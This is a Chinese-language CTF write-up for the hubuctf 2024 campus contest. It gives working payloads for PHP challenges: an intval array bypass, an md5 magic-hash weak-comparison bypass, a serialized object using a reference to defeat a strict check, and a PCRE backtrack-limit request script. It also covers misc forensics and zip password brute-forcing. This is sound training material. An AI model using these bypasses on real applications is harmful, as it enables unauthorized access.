hubuctf-2024校赛-复现wp

web

easyweb1
复制代码
 <?php
error_reporting(0);
highlight_file(__FILE__);

$flag = getenv("GZCTF_FLAG");

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("You are failed.");
    }
    if(intval($num)){
    echo $flag;
    }
} 

利用intval()的性质,用数组绕过。构造payload

复制代码
?num[]=0

hubuctf{80446bef-905a-4f87-94b8-c01e573ab311}

easyweb2
复制代码
<?php

error_reporting(0);
highlight_file(__FILE__);

$flag = getenv("GZCTF_FLAG");

include("config.php");

$a = $_GET['a'];

if($a == md5($a)){
    echo $flag;
}

找个md5值和它本身的值弱相等的就行。网上能找到,平时可以多收集。

复制代码
?a=0e215962017

hubuctf{c3ce23e3-016b-4f16-b701-343495750d74}

easyweb3

考点:序列化反序列化

复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);

$flag = getenv("GZCTF_FLAG");

class hubu{
    public $token;
    private $password;

    public function __construct($t,$p){
        $this->token= $t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$data = unserialize($_GET['hubu']);
$data->token=md5(mt_rand());

if($data->login()){
    echo $flag;
}

这个token是个md5数,又要强比较

可以让password变量引用token变量,这样它们就是一样的值了。

构造payload

复制代码
<?php
class hubu{
    public $token;
    private $password;

    public function __construct($t){
        $this->token= $t;
        $this->password = &$this->token;
    }
    public function login(){
        return $this->token===$this->password;
    }
}
$a = new hubu(1);
echo urlencode(serialize($a));
?>

hubuctf{3c223411-3a5a-45f2-80a3-9bed82440ad0}

easyweb4
复制代码
<?php

error_reporting(0);
highlight_file(__FILE__);

$flag = getenv("GZCTF_FLAG");

if(isset($_POST['data'])){
    $a = (String)$_POST['data'];

    if(preg_match('/.+?r1kka/is', $a)){
        die('bye!');
    }
    if(stripos($a,'77r1kka') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

preg_match():其中的'.'代表着匹配前面的单个字符,'+'代表匹配一次或者是多次,'+?'代表重复一次或者多次,尽可能的少重复;(大概就是匹配到*ctfshow,*代表任意字符,就会返回true)

stripos()函数:不区分大小写,返回子串在字符串中第一次出现的位置,位置是从0开始的;没有查找到,返回FALSE,stripos函数对于传递数组情况下,返回值为NULL,NULL!=FALSE
进行了一个String强制类型转换,意思就是不能用数组绕过了,所以用PCRE回溯次数限制.

复制代码
import requests
 
url = 'http://challenge.hubuctf.cn:31393/'
data = {
    'data': 'very' * 250000 + '77r1kka'
}
 
r = requests.post(url=url, data=data).text
print(r)

misc

convert

考点:二进制转16进制

将二进制转换成16进制,然后发现头是52 61 72 21,是个rar文件,直接提取文件

是个jpg文件,查看信息,就能找到一串码,解码就是flag。

ZmxhZ3swMWEyNWVhM2ZkNjM0OWM2ZTYzNWExZDAxOTZlNzVmYn0=

flag{01a25ea3fd6349c6e635a1d0196e75fb}

passwd

考点:流量分析
将文件放进wireshake分析,得到

7f表示退格,所以最后flag就是 flag{backd00Rmate}

reverse me

考点:文件逆序
根据题目提示和文件尾,将文件逆序,得到一张jpg文件

然后将图片左右旋转就能拿到flag。

flag{4f7548f93c7bef1dc6a0542cf04e796e}

try_it

考点:压缩包爆破
压缩包里面有个flag.txt,但需要密码,直接进行字典爆破

输入密码找到flag文件,打开发现是个jsfuck码,解码就是flag

flag{d7da7aeb-a3d6-4637-aff5-57ac9a00582b}

相关推荐
玉笥寻珍2 小时前
web安全渗透测试基础知识之登录绕过篇
python·安全·web安全·网络安全·威胁分析
独行soc3 小时前
2025年渗透测试面试题总结-渗透测试红队面试九(题目+回答)
linux·安全·web安全·网络安全·面试·职场和发展·渗透测试
chilavert3184 小时前
关于Python 实现接口安全防护:限流、熔断降级与认证授权的深度实践
python·网络安全
上海云盾第一敬业销售4 小时前
高防ip支持哪些网络协议
网络安全
riusksk4 小时前
网络安全顶会——SP 2025 论文清单与摘要
安全·web安全
梧六柒11 小时前
1.9-为什么要反弹shell-反弹shell的核心价值在哪-注意事项
网络安全
FreeBuf_15 小时前
GNU Screen 曝多漏洞:本地提权与终端劫持风险浮现
安全·web安全·gnu
苏生要努力16 小时前
第九届御网杯网络安全大赛初赛WP
linux·python·网络安全
2501_9159090616 小时前
iOS App 安全性探索:源码保护、混淆方案与逆向防护日常
websocket·网络协议·tcp/ip·http·网络安全·https·udp
禾木KG20 小时前
网络安全-等级保护(等保) 2-3 GB/T 22240—2020《信息安全技术 网络安全等级保护定级指南》-2020-04-28发布【现行】
网络安全